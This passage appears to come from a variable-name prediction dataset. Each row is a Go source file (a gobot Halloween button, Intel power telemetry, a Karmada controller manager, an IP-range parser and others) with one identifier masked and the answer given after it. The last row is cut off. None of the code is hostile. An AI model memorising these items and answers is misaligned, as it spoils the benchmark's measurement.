log.Debugf(""Got number %v"", numbers) // concatenate the strings var str strings.Builder for _, number := range numbers { str.WriteString(number) } // return int converted from string result, err := strconv.Atoi(str.String()) if err != nil { return result, err } return result, nil } // sumArray sums all elements in an array of integers and returns the result as new int func sumArray(sums []int) int { result := 0 for _, number := range sums { result += number } return result } ",expression 192,"// Copyright 2016 <> // Apache License Version 2.0. See LICENSE file // Portions via http://github.com/hybridgroup/gobot package main import ( ""fmt"" ""math/rand"" ""net/http"" ""bytes"" ""os"" ""os/exec"" ""github.com/hybridgroup/gobot"" ""github.com/hybridgroup/gobot/platforms/chip"" ""github.com/hybridgroup/gobot/platforms/gpio"" ) func main() { const numSounds = 5 sounds := [numSounds]string{""/home/chip/halloween_sounds/castle_thunder.mp3"", ""/home/chip/halloween_sounds/clown_laugh_clipped.mp3"", ""/home/chip/halloween_sounds/home_alone.mp3"", ""/home/chip/halloween_sounds/howl.mp3"", ""/home/chip/halloween_sounds/man_screaming_clipped.mp3""} playing := 0 gbot := gobot.NewGobot() chipAdaptor := chip.NewChipAdaptor(""chip"") button := gpio.NewButtonDriver(chipAdaptor, ""button"", ""XIO-P0"") led := gpio.NewLedDriver(chipAdaptor, ""led"", ""XIO-P6"") [MASK] := func() { gobot.On(button.Event(""push""), func(data interface{}) { fmt.Println(""button pressed"") led.Toggle() }) gobot.On(button.Event(""release""), func(data interface{}) { fmt.Println(""button released"") if playing == 0 { playing = 1 // mDNS was acting up on Halloween night so had to use hard-coded IP //resp, err := http.Get(""http://skeletony.local/on"") resp, err := http.Get(""http://192.168.0.116/on"") fmt.Println(resp) if err != nil { fmt.Fprintf(os.Stderr, ""Skeletony error: %v\n"", err) } led.Toggle() randSound := rand.Intn(numSounds) fmt.Println(randSound) fmt.Println(sounds[randSound]) args1 := []string{sounds[randSound]} cmd := exec.Command(""mpg123"", args1...) var out bytes.Buffer cmd.Stdout = &out err = cmd.Run() if err != nil { fmt.Fprintf(os.Stderr, ""error: %v\n"", err) os.Exit(1) } playing = 0 } }) } robot := gobot.NewRobot(""buttonBot"", []gobot.Connection{chipAdaptor}, []gobot.Device{led}, []gobot.Device{button}, [MASK] , ) gbot.AddRobot(robot) gbot.Start() } ",work 193,"// Copyright (C) 2023 Intel Corporation // SPDX-License-Identifier: Apache-2.0 //go:build linux && amd64 package powertelemetry import ( ""errors"" ""fmt"" ""slices"" ""strings"" ""time"" ""github.com/intel/powertelemetry/internal/cpumodel"" ""github.com/intel/powertelemetry/internal/log"" ) var ( cStateOffsets = []uint32{c3Residency, c6Residency, c7Residency, maxFreqClockCount, actualFreqClockCount, timestampCounter} cStatePerfEvents = []string{c01.String(), c02.String(), c0Wait.String(), thread.String()} ) // PowerTelemetry enables monitoring platform metrics. type PowerTelemetry struct { topology topologyReader msr msrReaderWithStorage uncoreFreq uncoreFreqReader rapl raplReader cpuFreq cpuFreqReader perf perfReaderWithStorage busClock float64 cpus []int } // powerBuilder enables piecewise builds of PowerTelemetry instances. Implements functional options pattern. // TODO: User should be able to specify custom base path for powertelemetry subsystems. type powerBuilder struct { topology *topologyBuilder msr *msrBuilder rapl *raplBuilder coreFreq *coreFreqBuilder uncoreFreq *uncoreFreqBuilder perf *perfBuilder includedCPUs []int excludedCPUs []int } type Option func(*powerBuilder) // WithExcludedCPUs returns a function closure that sets a slice with excluded CPU IDs // of a builder. func WithExcludedCPUs(cpuIDs []int) Option { return func(b *powerBuilder) { b.excludedCPUs = cpuIDs } } // WithIncludedCPUs returns a function closure that sets a slice with included CPU IDs // of a builder. func WithIncludedCPUs(cpuIDs []int) Option { return func(b *powerBuilder) { b.includedCPUs = cpuIDs } } // WithMsr returns a function closure that initializes the msrBuilder struct of a builder with the default configuration. func WithMsr() Option { return func(b *powerBuilder) { if b.msr == nil { b.msr = &msrBuilder{ msrReaderWithStorage: &msrDataWithStorage{ msrOffsets: cStateOffsets, msrPath: defaultMsrBasePath, }, } } } } // WithMsrTimeout returns a function closure that initializes the msrBuilder struct of a builder with the default configuration // and given msr read timeout. func WithMsrTimeout(timeout time.Duration) Option { return func(b *powerBuilder) { if b.msr == nil { b.msr = &msrBuilder{ msrReaderWithStorage: &msrDataWithStorage{ msrOffsets: cStateOffsets, msrPath: defaultMsrBasePath, }, } } b.msr.timeout = timeout } } // WithRapl returns a function closure that initializes the raplBuilder struct of a builder with the default configuration. func WithRapl(basePath ...string) Option { var path string if len(basePath) != 0 { path = basePath[0] } else { path = defaultRaplBasePath } return func(b *powerBuilder) { b.rapl = &raplBuilder{ raplReader: &raplData{ basePath: path, }, } } } // WithCoreFrequency returns a function closure that initializes the coreFreqBuilder struct of a builder with the default configuration. func WithCoreFrequency(basePath ...string) Option { var path string if len(basePath) != 0 { path = basePath[0] } else { path = defaultCPUFreqBasePath } return func(b *powerBuilder) { b.coreFreq = &coreFreqBuilder{ cpuFreqReader: &cpuFreqData{ cpuFrequencyFilePath: path, }, } } } // WithUncoreFrequency returns a function closure that initializes the uncoreFreqBuilder struct of a builder with the default configuration. func WithUncoreFrequency(basePath ...string) Option { var path string if len(basePath) != 0 { path = basePath[0] } else { path = defaultUncoreFreqBasePath } return func(b *powerBuilder) { b.uncoreFreq = &uncoreFreqBuilder{ uncoreFreqReader: &uncoreFreqData{ uncoreFreqBasePath: path, }, } } } // WithPerf takes a file path with perf event definition in JSON format. It returns a function closure // that initializes a perfBuilder struct with the given JSON event definition file. func WithPerf(jsonFile string) Option { return func(b *powerBuilder) { b.perf = &perfBuilder{ perfReaderWithStorage: &perfWithStorage{ perfReader: newPerf(), }, jsonPath: jsonFile, events: cStatePerfEvents, } } } // WithLogger returns a function closure that sets a user provided logger structure to be used to log messages. // Note: this option is supposed to go first in the list of arguments passed to New() when creating a PowerTelemetry instance. func WithLogger(l log.Logger) Option { return func(b *powerBuilder) { log.SetLogger(l) } } // New returns a PowerTelemetry instance that allows to gather power-related metrics from the host. // An error is returned if either topology could not be initialized, or if the CPU // model is not supported. Otherwise, a MultiError is returned if one or more user requested // subsystems (pieces) fail to initialize. func New(opts ...Option) (*PowerTelemetry, error) { b := &powerBuilder{ topology: &topologyBuilder{ topologyReader: &topologyData{ dieIDPath: defaultDieBasePath, }, }, } for _, opt := range opts { opt(b) } pt := &PowerTelemetry{} // initialize topology if err := b.topology.initTopology(); err != nil { return nil, err } pt.topology = b.topology logTopologyDetails(pt.topology) // check if processor is supported isSupported, err := isCPUSupported(b.topology) if err != nil { return nil, fmt.Errorf(""error retrieving host processor: %w"", err) } if !isSupported { return nil, errors.New(""host processor is not supported"") } // get available CPU IDs which can be accessed to get metrics from // (and check if no calls to both WithIncludedCPUs and WithExcludedCPUs have been done) cpus, err := b.getAvailableCPUs() if err != nil { return nil, fmt.Errorf(""failed to get available CPUs: %w"", err) } // check that not all CPU IDs are excluded. if len(cpus) == 0 { return nil, errors.New(""no available CPUs were found"") } pt.cpus = cpus log.Debugf(""CPU metrics related to MSR and coreFreq can be gathered for following CPUs: %v"", pt.cpus) // custom error to mark non-critical initialization errors multiErr := &MultiError{} // initialize msr pt.msr, err = b.initMsr(cpus) if err != nil { multiErr.add(fmt.Sprintf(""failed to initialize msr: %v"", err)) } // initialize rapl pt.rapl, err = b.initRapl() if err != nil { multiErr.add(fmt.Sprintf(""failed to initialize rapl: %v"", err)) } // initialize cpu frequency // TODO: Add argument with enabled CPU IDs. pt.cpuFreq, err = b.initCoreFreq() if err != nil { multiErr.add(fmt.Sprintf(""failed to initialize core freq: %v"", err)) } // TODO: Consider to remove init method // initialize uncore frequency pt.uncoreFreq, err = b.initUncoreFreq() if err != nil { multiErr.add(fmt.Sprintf(""failed to initialize uncore freq: %v"", err)) } // initialize perf pt.perf, err = b.initPerf(cStatePerfEvents, cpus) if err != nil { multiErr.add(fmt.Sprintf(""failed to initialize perf: %v"", err)) } // TODO: Remove this optimization. Call to bus clock should be done only when needed. // TODO: Getting model can be done inside getBusClock, pt.topology.getModel() model := b.topology.getCPUModel() pt.busClock, err = pt.getBusClock(model) if err != nil { multiErr.add(fmt.Sprintf(""failed to get bus clock for model: 0x%X: %v"", model, err)) } if len(multiErr.errs) > 0 { return pt, fmt.Errorf(""PowerTelemetry instance initialized with errors: %w"", multiErr) } return pt, nil } // topologyBuilder enables initialization of topology subsystem for PowerTelemetry instances. type topologyBuilder struct { topologyReader } // msrBuilder enables configuration and initialization of msr subsystem for PowerTelemetry instances. type msrBuilder struct { msrReaderWithStorage timeout time.Duration } // raplBuilder enables configuration and initialization of rapl subsystem for PowerTelemetry instances. type raplBuilder struct { raplReader } // coreFreqBuilder enables configuration and initialization of coreFreq subsystem for PowerTelemetry instances. type coreFreqBuilder struct { cpuFreqReader } // uncoreFreqBuilder enables configuration and initialization of uncoreFreq subsystem for PowerTelemetry instances. type uncoreFreqBuilder struct { uncoreFreqReader } // perfBuilder enables configuration and initialization of perf subsystem for PowerTelemetry instances. type perfBuilder struct { perfReaderWithStorage jsonPath string events []string } // getAvailableCPUs returns a slice with available CPU IDs which can be accessed to get metrics from. func (b *powerBuilder) getAvailableCPUs() ([]int, error) { if len(b.excludedCPUs) != 0 && len(b.includedCPUs) != 0 { return nil, errors.New(""invalid CPU ID configuration, only one of both included or excluded modes allowed"") } [MASK] := b.topology.getCPUsNumber() if err := validateFromRange(b.includedCPUs, 0, [MASK] -1); err != nil { return nil, fmt.Errorf(""failed to validate included CPU IDs: %w"", err) } if len(b.includedCPUs) != 0 { return b.includedCPUs, nil } if err := validateFromRange(b.excludedCPUs, 0, [MASK] -1); err != nil { return nil, fmt.Errorf(""failed to validate excluded CPU IDs: %w"", err) } cpus := make([]int, 0, [MASK] -len(b.excludedCPUs)) for i := 0; i < [MASK] ; i++ { if slices.Contains(b.excludedCPUs, i) { continue } cpus = append(cpus, i) } return cpus, nil } // validateFromRange takes a slice of ints, a low, and a high bound. It returns an error // in case any element of the slice is not within the interval [low, high]. func validateFromRange(nums []int, low, high int) error { for _, n := range nums { if n > high || n < low { return fmt.Errorf(""%v is out of bounds [%v, %v]"", n, low, high) } } return nil } // initMsr takes a slice of CPU IDs and initializes the msrReaderWithStorage from the receiver's msrBuilder configuration. // If successfully initialized, it returns an msrReaderWithStorage. Otherwise, returns // an error. func (b *powerBuilder) initMsr(cpus []int) (msrReaderWithStorage, error) { if b.msr != nil { if err := b.msr.initMsrMap(cpus, b.msr.timeout); err != nil { return nil, err } return b.msr.msrReaderWithStorage, nil } return nil, nil } // initRapl initializes the raplReader from the receiver's raplBuilder configuration. // If successfully initialized, it returns an raplReader. Otherwise, returns an error. func (b *powerBuilder) initRapl() (raplReader, error) { if b.rapl != nil { if err := b.rapl.initZoneMap(); err != nil { return nil, err } return b.rapl.raplReader, nil } return nil, nil } // initCoreFreq initializes the cpuFreqReader from the receiver's coreFreqBuilder configuration. // If successfully initialized, it returns a cpuFreqReader. Otherwise, returns an error. func (b *powerBuilder) initCoreFreq() (cpuFreqReader, error) { if b.coreFreq != nil { if err := b.coreFreq.init(); err != nil { return nil, err } return b.coreFreq.cpuFreqReader, nil } return nil, nil } // initUncoreFreq initializes the uncoreFreqReader from the receiver's uncoreFreqBuilder configuration. // If successfully initialized, it returns a cpuFreqReader. Otherwise, returns an error. func (b *powerBuilder) initUncoreFreq() (uncoreFreqReader, error) { if b.uncoreFreq != nil { if err := b.uncoreFreq.init(); err != nil { return nil, err } return b.uncoreFreq.uncoreFreqReader, nil } return nil, nil } // initPerf takes a slice of perf events and a slice of CPU IDs. It initializes the perfReaderWithStorage // from the receiver's perfBuilder configuration. If successfully initialized, it returns an perfReaderWithStorage. // Otherwise, returns an error. func (b *powerBuilder) initPerf(events []string, cpus []int) (perfReaderWithStorage, error) { if b.perf != nil { // check if processor supports perf hardware events for cstates model := b.topology.getCPUModel() if !isPerfAllowed(model) { return nil, fmt.Errorf(""perf based metrics are not supported for processor model: 0x%X"", model) } if err := b.perf.initResolver(b.perf.jsonPath); err != nil { return nil, fmt.Errorf(""failed to init resolver: %w"", err) } if err := b.perf.activate(events, cpus); err != nil { return nil, fmt.Errorf(""failed to activate events: %w"", err) } return b.perf.perfReaderWithStorage, nil } return nil, nil } // isPerfAllowed is helper function that returns true if the processor model supports hardware // perf events specific to cstate residency metrics. func isPerfAllowed(model int) bool { switch model { case cpumodel.INTEL_FAM6_SAPPHIRERAPIDS_X: case cpumodel.INTEL_FAM6_EMERALDRAPIDS_X: //TODO: Hybrid models are not supported right now //case cpumodel.INTEL_FAM6_ALDERLAKE: //case cpumodel.INTEL_FAM6_ALDERLAKE_L: //case cpumodel.INTEL_FAM6_RAPTORLAKE: //case cpumodel.INTEL_FAM6_RAPTORLAKE_P: //case cpumodel.INTEL_FAM6_RAPTORLAKE_S: //case cpumodel.INTEL_FAM6_METEORLAKE: //case cpumodel.INTEL_FAM6_METEORLAKE_L: //Above list should be updated in the future with new processors supporting the required events. default: return false } return true } // logTopologyDetails logs topology details such as CPU: vendor ID, family and model. // It also logs core ID, package ID and die ID for every CPU ID. func logTopologyDetails(t topologyReader) { var sb strings.Builder sb.WriteString(""Topology details:\n"") if vendorID, err := t.getCPUVendor(0); err != nil { sb.WriteString(fmt.Sprintf("" Error retrieving the CPU vendor ID: %v\n"", err)) } else { sb.WriteString(fmt.Sprintf("" CPU vendor ID: %s\n"", vendorID)) } if family, err := t.getCPUFamily(0); err != nil { sb.WriteString(fmt.Sprintf("" Error retrieving the CPU family: %v\n"", err)) } else { sb.WriteString(fmt.Sprintf("" CPU family: %s\n"", family)) } sb.WriteString(fmt.Sprintf("" CPU model: 0x%X\n"", t.getCPUModel())) cpus := t.getCPUsNumber() sb.WriteString(fmt.Sprintf("" Number of CPUs: %d\n"", cpus)) for cpuID := 0; cpuID < cpus; cpuID++ { coreID, err := t.getCPUCoreID(cpuID) if err != nil { sb.WriteString(fmt.Sprintf("" Error retrieving the core ID: %v\n"", err)) continue } packageID, err := t.getCPUPackageID(cpuID) if err != nil { sb.WriteString(fmt.Sprintf("" Error retrieving the package ID: %v\n"", err)) continue } dieID, err := t.getCPUDieID(cpuID) if err != nil { sb.WriteString(fmt.Sprintf("" Error retrieving the die ID: %v\n"", err)) continue } sb.WriteString(fmt.Sprintf("" CPU ID: %4d, core ID: %4d, package ID: %2d, die ID: %2d\n"", cpuID, coreID, packageID, dieID)) } log.Debugf(sb.String()) } ",numCPUs 194,"package app import ( ""flag"" ""fmt"" ""os"" ""time"" ""github.com/spf13/cobra"" ""k8s.io/client-go/dynamic"" ""k8s.io/client-go/kubernetes"" ""k8s.io/component-base/logs"" ""k8s.io/klog/v2"" ""sigs.k8s.io/controller-runtime"" ""sigs.k8s.io/controller-runtime/pkg/healthz"" ""github.com/karmada-io/karmada/cmd/controller-manager/app/options"" ""github.com/karmada-io/karmada/pkg/controllers/binding"" ""github.com/karmada-io/karmada/pkg/controllers/cluster"" ""github.com/karmada-io/karmada/pkg/controllers/execution"" ""github.com/karmada-io/karmada/pkg/controllers/hpa"" ""github.com/karmada-io/karmada/pkg/controllers/namespace"" ""github.com/karmada-io/karmada/pkg/controllers/propagationpolicy"" ""github.com/karmada-io/karmada/pkg/controllers/status"" ""github.com/karmada-io/karmada/pkg/util"" ""github.com/karmada-io/karmada/pkg/util/detector"" ""github.com/karmada-io/karmada/pkg/util/gclient"" ""github.com/karmada-io/karmada/pkg/util/informermanager"" ""github.com/karmada-io/karmada/pkg/util/objectwatcher"" ""github.com/karmada-io/karmada/pkg/util/overridemanager"" ) // NewControllerManagerCommand creates a *cobra.Command object with default parameters func NewControllerManagerCommand(stopChan <-chan struct{}) *cobra.Command { opts := options.NewOptions() cmd := &cobra.Command{ Use: ""controller-manager"", Long: `The controller manager runs a bunch of controllers`, Run: func(cmd *cobra.Command, args []string) { opts.Complete() if err := Run(opts, stopChan); err != nil { fmt.Fprintf(os.Stderr, ""%v\n"", err) os.Exit(1) } }, } cmd.Flags().AddGoFlagSet(flag.CommandLine) opts.AddFlags(cmd.Flags()) return cmd } // Run runs the controller-manager with options. This should never exit. func Run(opts *options.Options, stopChan <-chan struct{}) error { logs.InitLogs() defer logs.FlushLogs() config, err := controllerruntime.GetConfig() if err != nil { panic(err) } controllerManager, err := controllerruntime.NewManager(config, controllerruntime.Options{ Scheme: gclient.NewSchema(), LeaderElection: true, // TODO(RainbowMango): Add a flag '--enable-leader-election' for this option. LeaderElectionID: ""41db11fa.karmada.io"", HealthProbeBindAddress: fmt.Sprintf(""%s:%d"", opts.BindAddress, opts.SecurePort), LivenessEndpointName: ""/healthz"", }) if err != nil { klog.Errorf(""failed to build controller manager: %v"", err) return err } if err = controllerManager.AddHealthzCheck(""ping"", healthz.Ping); err != nil { klog.Errorf(""failed to add health check endpoint: %v"", err) return err } setupControllers(controllerManager, stopChan) // blocks until the stop channel is closed. if err := controllerManager.Start(stopChan); err != nil { klog.Errorf(""controller manager exits unexpectedly: %v"", err) return err } // never reach here return nil } func setupControllers(mgr controllerruntime.Manager, stopChan <-chan struct{}) { resetConfig := mgr.GetConfig() dynamicClientSet := dynamic.NewForConfigOrDie(resetConfig) kubeClientSet := kubernetes.NewForConfigOrDie(resetConfig) objectWatcher := objectwatcher.NewObjectWatcher(mgr.GetClient(), kubeClientSet, mgr.GetRESTMapper()) overridemanager := overridemanager.New(mgr.GetClient()) resourceDetector := &detector.ResourceDetector{ ClientSet: kubeClientSet, Client: mgr.GetClient(), InformerManager: informermanager.NewSingleClusterInformerManager(dynamicClientSet, 0), RESTMapper: mgr.GetRESTMapper(), } resourceDetector.EventHandler = informermanager.NewFilteringHandlerOnAllEvents(resourceDetector.EventFilter, resourceDetector.OnAdd, resourceDetector.OnUpdate, resourceDetector.OnDelete) resourceDetector.Processor = util.NewAsyncWorker(""resource detector"", time.Microsecond, detector.ClusterWideKeyFunc, resourceDetector.Reconcile) if err := mgr.Add(resourceDetector); err != nil { klog.Fatalf(""Failed to setup resource detector: %v"", err) } ClusterController := &cluster.Controller{ Client: mgr.GetClient(), KubeClientSet: kubeClientSet, EventRecorder: mgr.GetEventRecorderFor(cluster.ControllerName), } if err := ClusterController.SetupWithManager(mgr); err != nil { klog.Fatalf(""Failed to setup cluster controller: %v"", err) } ClusterStatusController := &status.ClusterStatusController{ Client: mgr.GetClient(), KubeClientSet: kubeClientSet, EventRecorder: mgr.GetEventRecorderFor(status.ControllerName), } if err := ClusterStatusController.SetupWithManager(mgr); err != nil { klog.Fatalf(""Failed to setup clusterstatus controller: %v"", err) } hpaController := &hpa.HorizontalPodAutoscalerController{ Client: mgr.GetClient(), DynamicClient: dynamicClientSet, EventRecorder: mgr.GetEventRecorderFor(hpa.ControllerName), RESTMapper: mgr.GetRESTMapper(), } if err := hpaController.SetupWithManager(mgr); err != nil { klog.Fatalf(""Failed to setup hpa controller: %v"", err) } policyController := &propagationpolicy.Controller{ Client: mgr.GetClient(), } if err := policyController.SetupWithManager(mgr); err != nil { klog.Fatalf(""Failed to setup policy controller: %v"", err) } bindingController := &binding.ResourceBindingController{ Client: mgr.GetClient(), DynamicClient: dynamicClientSet, EventRecorder: mgr.GetEventRecorderFor(binding.ControllerName), RESTMapper: mgr.GetRESTMapper(), OverrideManager: overridemanager, } if err := bindingController.SetupWithManager(mgr); err != nil { klog.Fatalf(""Failed to setup binding controller: %v"", err) } clusterResourceBindingController := &binding.ClusterResourceBindingController{ Client: mgr.GetClient(), DynamicClient: dynamicClientSet, EventRecorder: mgr.GetEventRecorderFor(binding.ClusterResourceBindingControllerName), RESTMapper: mgr.GetRESTMapper(), OverrideManager: overridemanager, } if err := clusterResourceBindingController.SetupWithManager(mgr); err != nil { klog.Fatalf(""Failed to setup cluster resource binding controller: %v"", err) } executionController := &execution.Controller{ Client: mgr.GetClient(), KubeClientSet: kubeClientSet, EventRecorder: mgr.GetEventRecorderFor(execution.ControllerName), RESTMapper: mgr.GetRESTMapper(), ObjectWatcher: objectWatcher, } if err := executionController.SetupWithManager(mgr); err != nil { klog.Fatalf(""Failed to setup execution controller: %v"", err) } workStatusController := &status.WorkStatusController{ Client: mgr.GetClient(), DynamicClient: dynamicClientSet, EventRecorder: mgr.GetEventRecorderFor(status.WorkStatusControllerName), RESTMapper: mgr.GetRESTMapper(), KubeClientSet: kubeClientSet, InformerManager: informermanager.NewMultiClusterInformerManager(), StopChan: stopChan, WorkerNumber: 1, ObjectWatcher: objectWatcher, } workStatusController.RunWorkQueue() if err := workStatusController.SetupWithManager(mgr); err != nil { klog.Fatalf(""Failed to setup work status controller: %v"", err) } [MASK] := &namespace.Controller{ Client: mgr.GetClient(), EventRecorder: mgr.GetEventRecorderFor(namespace.ControllerName), } if err := [MASK] .SetupWithManager(mgr); err != nil { klog.Fatalf(""Failed to setup namespace sync controller: %v"", err) } } ",namespaceSyncController 195,"package cmd import ( ""fmt"" ""github.com/kobtea/mixcli/pkg/rule"" ""github.com/prometheus/prometheus/pkg/rulefmt"" ""github.com/spf13/cobra"" ""gopkg.in/yaml.v2"" ) // alertCmd represents the alert command var alertCmd = &cobra.Command{ Use: ""alert"", Short: ""prometheus alert"", } var alertCompressCmd = &cobra.Command{ Use: ""compress ..."", Short: ""compress alert groups"", RunE: func(cmd *cobra.Command, args []string) error { maxRule, err := cmd.Flags().GetInt(""max-rule"") if err != nil { return err } [MASK] , err := cmd.Flags().GetInt(""max-group"") if err != nil { return err } var groups []*rulefmt.RuleGroups for _, file := range args { rg, err := rulefmt.ParseFile(file) if err != nil { return err[0] } groups = append(groups, rg) } res, err := rule.Compress(groups, maxRule, [MASK] ) if err != nil { return err } b, err := yaml.Marshal(rule.Format(res)) if err != nil { return err } fmt.Println(string(b)) return nil }, } func init() { rootCmd.AddCommand(alertCmd) alertCmd.AddCommand(ruleAnalyzeCmd) alertCmd.AddCommand(alertCompressCmd) alertCompressCmd.Flags().Int(""max-rule"", 0, ""max rules per group"") alertCompressCmd.Flags().Int(""max-group"", 0, ""max groups"") } ",maxGroup 196,"package main import ( ""context"" ""flag"" ""fmt"" ""log"" ""net/http"" ""github.com/kpacha/krakend-grpc-gateway-post/gateway"" ) var ( helloworldEndpoint = flag.String(""hello_endpoint"", ""localhost:50051"", ""endpoint of GreeterServer"") routeguideEndpoint = flag.String(""route_endpoint"", ""localhost:50052"", ""endpoint of RouteGuideServer"") port = flag.Int(""p"", 8080, ""port of the service"") ) func main() { flag.Parse() ctx, cancel := context.WithCancel(context.Background()) defer cancel() mux, err := gateway.New(ctx, *helloworldEndpoint, *routeguideEndpoint) if err != nil { log.Printf(""Setting up the gateway: %s"", err.Error()) return } [MASK] := fmt.Sprintf("":%d"", *port) s := &http.Server{ Addr: [MASK] , Handler: mux, } go func() { <-ctx.Done() log.Printf(""Shutting down the http server"") if err := s.Shutdown(context.Background()); err != nil { log.Printf(""Failed to shutdown http server: %v"", err) } }() log.Printf(""Starting listening at %s"", [MASK] ) if err := s.ListenAndServe(); err != http.ErrServerClosed { log.Printf(""Failed to listen and serve: %v"", err) } } ",srvAddr 197,"package qb import ( ""bytes"" ""context"" ""database/sql"" ""time"" // We assume sqlite _ ""modernc.org/sqlite"" ) type runner interface { ExecContext(ctx context.Context, query string, args ...interface{}) (sql.Result, error) QueryContext(ctx context.Context, query string, args ...interface{}) (*sql.Rows, error) } // Builder is the interface for all query builders type Builder interface { Build(buf *bytes.Buffer) error Params() []interface{} } type contextKey string func (c contextKey) String() string { return ""qb context key "" + string(c) } // Open initializes the database func Open(ctx context.Context, conn string) (*DB, error) { var err error db, err := sql.Open(""sqlite"", conn) if err != nil { return &DB{}, err } if err = db.PingContext(ctx); err != nil { return &DB{}, err } return &DB{db}, nil } // DB represents the database type DB struct { *sql.DB } // Delete creates and returns a new instance of DeleteQuery for the specified table func (db *DB) Delete(ctx context.Context) *DeleteQuery { if tx := GetTxCtx(ctx); tx != nil { return tx.Delete(ctx) } return &DeleteQuery{ ctx: ctx, runner: db, } } // Insert creates and returns a new instance of InsertQuery for the specified table func (db *DB) Insert(ctx context.Context) *InsertQuery { if tx := GetTxCtx(ctx); tx != nil { return tx.Insert(ctx) } return &InsertQuery{ ctx: ctx, runner: db, } } // Select creates and returns a new instance of SelectQuery for the specified table func (db *DB) Select(ctx context.Context) *SelectQuery { if tx := GetTxCtx(ctx); tx != nil { return tx.Select(ctx) } return &SelectQuery{ ctx: ctx, runner: db, } } // Update creates and returns a new instance of UpdateQuery for the specified table func (db *DB) Update(ctx context.Context) *UpdateQuery { if tx := GetTxCtx(ctx); tx != nil { return tx.Update(ctx) } return &UpdateQuery{ ctx: ctx, runner: db, } } // BeginTx starts a transaction. The default isolation level is dependent on the driver func (db *DB) BeginTx(ctx context.Context, [MASK] *sql.TxOptions) (*Tx, error) { tx, err := db.DB.BeginTx(ctx, [MASK] ) return &Tx{tx}, err } // ExecContext executes a query without returning any rows. The args are for any placeholder parameters in the query func (db *DB) ExecContext(ctx context.Context, query string, args ...interface{}) (sql.Result, error) { logger := GetLoggerCtx(ctx) start := time.Now() result, err := db.DB.ExecContext(ctx, query, args...) end := time.Now() logger(ctx, end.Sub(start), ""%s -- %v"", query, args) return result, err } // QueryContext executes a query that returns rows, typically a SELECT. The args are for any placeholder parameters in the query. func (db *DB) QueryContext(ctx context.Context, query string, args ...interface{}) (*sql.Rows, error) { logger := GetLoggerCtx(ctx) start := time.Now() rows, err := db.DB.QueryContext(ctx, query, args...) end := time.Now() logger(ctx, end.Sub(start), ""%s -- %v"", query, args) return rows, err } ",opts 198,"package main import ( ""bufio"" ""fmt"" ""math/rand"" ""net"" ""os"" ""strconv"" ""strings"" ) func inet_ntoa(ipnr int64) net.IP { var bytes [4]byte bytes[0] = byte(ipnr & 0xFF) bytes[1] = byte((ipnr >> 8) & 0xFF) bytes[2] = byte((ipnr >> 16) & 0xFF) bytes[3] = byte((ipnr >> 24) & 0xFF) return net.IPv4(bytes[3], bytes[2], bytes[1], bytes[0]) } func inet_aton(ipnr net.IP) int64 { bits := strings.Split(ipnr.String(), ""."") b0, _ := strconv.Atoi(bits[0]) b1, _ := strconv.Atoi(bits[1]) b2, _ := strconv.Atoi(bits[2]) b3, _ := strconv.Atoi(bits[3]) var [MASK] int64 [MASK] += int64(b0) << 24 [MASK] += int64(b1) << 16 [MASK] += int64(b2) << 8 [MASK] += int64(b3) return [MASK] } type IPRange struct { StartIP int64 EndIP int64 } func parseIPRange(start, end string) (*IPRange, error) { start = strings.TrimSpace(start) end = strings.TrimSpace(end) if !strings.Contains(end, ""."") { ss := strings.Split(start, ""."") st := strings.Join(ss[0:3], ""."") end = fmt.Sprintf(""%s.%s"", st, end) // fmt.Printf(""###%v "", st) // return nil, fmt.Errorf(""Invalid IPRange %s-%s"", start, end) } //fmt.Printf(""##%s %s\n"",start, end) si := net.ParseIP(start) ei := net.ParseIP(end) iprange := new(IPRange) iprange.StartIP = inet_aton(si) iprange.EndIP = inet_aton(ei) if iprange.StartIP > iprange.EndIP { return nil, fmt.Errorf(""Invalid IPRange %s-%s"", start, end) } return iprange, nil } func parseIPRangeFile(file string) ([]*IPRange, error) { f, err := os.Open(file) if err != nil { return nil, err } defer f.Close() ipranges := make([]*IPRange, 0) scanner := bufio.NewScanner(f) lineno := 1 for scanner.Scan() { line := scanner.Text() line = strings.TrimSpace(line) //comment start with '#' if strings.HasPrefix(line, ""#"") || len(line) == 0 { continue } var startIP, endIP string if strings.Contains(line, ""/"") { ip, ipnet, err := net.ParseCIDR(line) if nil != err { return nil, err } startIP = ip.String() ones, _ := ipnet.Mask.Size() v := inet_aton(ip) var tmp uint32 tmp = 0xFFFFFFFF tmp = tmp >> uint32(ones) v = v | int64(tmp) endip := inet_ntoa(v) endIP = endip.String() } else { ss := strings.Split(line, ""-"") if len(ss) != 2 { return nil, fmt.Errorf(""Invalid line:%d in IP Range file:%s"", lineno, file) } startIP, endIP = ss[0], ss[1] } iprange, err := parseIPRange(startIP, endIP) if nil != err { return nil, fmt.Errorf(""Invalid line:%d in IP Range file:%s"", lineno, file) } ipranges = append(ipranges, iprange) lineno = lineno + 1 } if len(ipranges) > 5 { dest := make([]*IPRange, len(ipranges)) perm := rand.Perm(len(ipranges)) for i, v := range perm { dest[v] = ipranges[i] } ipranges = dest } return ipranges, nil } ",sum 199,"package ckmeans type SMAWK struct { criterionx Criterion } func (sm *SMAWK) fill_row_q_SMAWK(imin, imax, q int, S [][]float64, J [][]int, sum_x, sum_x_sq, sum_w, sum_w_sq []float64) { js := make([]int, imax-q+1) abs := q for i := range js { js[i] = abs abs++ } sm.smawk(imin, imax, 1, q, js, S, J, sum_x, sum_x_sq, sum_w, sum_w_sq) } func (sm *SMAWK) smawk(imin, imax, istep, q int, js []int, S [][]float64, J [][]int, sum_x, sum_x_sq, sum_w, sum_w_sq []float64) { if imax-imin <= 0*istep { sm.find_min_from_candidates(imin, imax, istep, q, js, S, J, sum_x, sum_x_sq, sum_w, sum_w_sq) } else { js_odd := make([]int, len(js)) sm.reduce_in_place(imin, imax, istep, q, js, js_odd, S, J, sum_x, sum_x_sq, sum_w, sum_w_sq) istepx2 := istep << 1 imin_odd := imin + istep imax_odd := imin_odd + (imax-imin_odd)/istepx2*istepx2 sm.smawk(imin_odd, imax_odd, istepx2, q, js_odd, S, J, sum_x, sum_x_sq, sum_w, sum_w_sq) sm.fill_even_positions(imin, imax, istep, q, js, S, J, sum_x, sum_x_sq, sum_w, sum_w_sq) } } func (sm *SMAWK) find_min_from_candidates(imin, imax, istep, q int, js []int, S [][]float64, J [][]int, sum_x, sum_x_sq, sum_w, sum_w_sq []float64) { [MASK] := 0 for i := imin; i <= imax; i += istep { rmin := [MASK] S[q][i] = S[q-1][js[rmin]-1] + sm.dissimilarity(js[rmin], i, sum_x, sum_x_sq, sum_w, sum_w_sq) J[q][i] = js[rmin] for r := (rmin + 1); r < len(js); r++ { j_abs := 